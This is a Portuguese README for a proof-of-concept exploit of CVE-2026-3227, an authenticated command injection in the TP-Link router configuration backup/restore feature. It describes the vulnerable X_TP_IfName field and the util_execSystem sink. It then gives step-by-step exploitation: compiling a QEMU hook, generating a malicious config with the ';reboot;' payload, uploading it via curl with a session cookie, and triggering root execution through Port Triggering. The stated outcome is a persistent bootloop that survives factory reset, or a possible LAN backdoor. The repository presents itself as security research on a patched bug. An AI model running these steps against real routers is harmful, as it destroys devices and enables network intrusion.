CVE-2026-3227: Injeção de Comandos no SO do Roteador TP-Link

Para mais informações, veja https://www.cve.org/CVERecord?id=CVE-2026-3227

Uma vulnerabilidade persistente e autenticada de Injeção de Comandos no SO do firmware de roteadores TP-Link, levando ao brick do dispositivo ou potencial tomada da LAN.

Aviso: Este repositório contém código de prova de conceito (PoC) para uma vulnerabilidade corrigida. Destina-se a fins educacionais e para pesquisadores de segurança.

Resumo Executivo

Uma vulnerabilidade de injeção de comandos existe no mecanismo de backup/restauração de configuração de vários roteadores TP-Link (incluindo TL-WR802N, TL-WR841N e TL-WR840N). Um atacante com acesso administrativo pode baixar a configuração do roteador, decifrá-la, injetar um comando malicioso no SO (até 15 caracteres) em campos XML específicos, recifrá-la e enviá-la de volta ao dispositivo.

Quando o roteador aplica a configuração (por exemplo, durante eventos de port trigger ou na inicialização), o payload injetado é executado como root. Isso pode ser usado para causar um bootloop persistente (tornando o dispositivo permanentemente inutilizável, sobrevivendo a redefinições de fábrica) ou potencialmente habilitar um backdoor persistente para pivoteamento na LAN.

A Jornada da Descoberta (Como Encontrei)

Ao explorar o recurso de backup de configuração do roteador, decidi fazer engenharia reversa no binário httpd e na biblioteca libcmm.so para entender como os arquivos de configuração são criptografados e analisados.

1. Descriptografia: Escrevi com sucesso um script em Python para descriptografar o blob de configuração do roteador, permitindo-me ler a configuração XML subjacente.
2. Encontrando o Sink: Ao analisar os parâmetros XML, encontrei pontos de injeção que eram passados diretamente para funções de execução do sistema sem saneamento.
3. O Desafio da Criptografia: Reproduzir o algoritmo de criptografia foi difícil. Apesar de reverter o código e tentar reimplementar o algoritmo em Python e C, não consegui produzir um arquivo criptografado que o roteador aceitasse.
4. A Solução (QEMU Hooking): Em vez de reinventar a roda, adotei uma abordagem ofensiva de engenharia. Emulei a arquitetura do roteador usando qemu-user e fiz hook no binário httpd original do roteador em tempo de execução (create_config.c). Isso me permitiu invocar as funções de criptografia nativas do roteador diretamente do meu PoC em Python, imitando perfeitamente o formato de criptografia original.

Mergulho Técnico / Análise de Causa Raiz

A vulnerabilidade está na forma como o produto analisa o blob de configuração criptografado e o aplica em tempo de execução. No caminho de configuração de port trigger, a implementação constrói comandos shell usando campos controláveis pelo usuário sem saneamento adequado.

Especificamente, a função oal_pt_addPortTrigger chama:

util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

A string de formato %s é preenchida com uma string de interface (X_TP_IfName) analisada diretamente do XML de configuração enviado.

O fluxo de execução:

1. Upload: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
2. Parsing: oal_pt_addPortTrigger chama forward_parsePtOpenPort para analisar listas de portas.
3. Execução: O sistema constrói a string de comando iptables e a executa via util_execSystem (que encapsula system()).

Ao modificar o XML descriptografado para incluir:

<X_TP_IfName val=";reboot;"/>

O comando é executado durante a inicialização da interface na inicialização ou quando ocorre um evento de port trigger. Como o payload é limitado a 15 caracteres, criar o exploit requer técnicas compactas de execução de comandos.

Prova de Conceito (PoC)

Para evitar distribuir binários TP-Link protegidos por direitos autorais, este PoC exige que você extraia o sistema de arquivos do roteador para utilizar as bibliotecas de criptografia nativas através de um hook QEMU personalizado.

Pré-requisitos

• qemu-mipsel e um cross-compiler (gcc-mipsel-linux-gnu)
• Python 3 e dependências (pip install pycryptodome)
• Firmware extraído usando binwalk -Me <firmware.bin>

Passo 1: Preparar o Ambiente

1. Extraia o firmware alvo e copie o diretório squashfs-root para 'python_utils/' deste projeto.
2. Compile o hook QEMU:
   root@kitploit:~

   mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
   

Passo 2: Gerar a Configuração Maliciosa

1. Faça login no seu roteador e baixe uma configuração de backup (config.bin).
2. Execute o gerador de payload:
   root@kitploit:~

   python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
   

   Nota: O payload não deve exceder 15 caracteres.

Passo 3: Fazer upload da config via curl (o recurso de atualização no meu roteador era apenas um truque e não fazia nada de fato).

curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

Passo 4: Acionar o Exploit

1. Depois que o roteador reiniciar e aplicar as configurações, navegue até Forwarding -> Port Triggering.
2. Adicione um novo Port Trigger (por exemplo, selecione "Battle.net" no menu suspenso) e salve.
3. O comando do SO injetado será executado como root. Se você usou ;reboot;, o roteador reiniciará imediatamente e entrará em um bootloop persistente.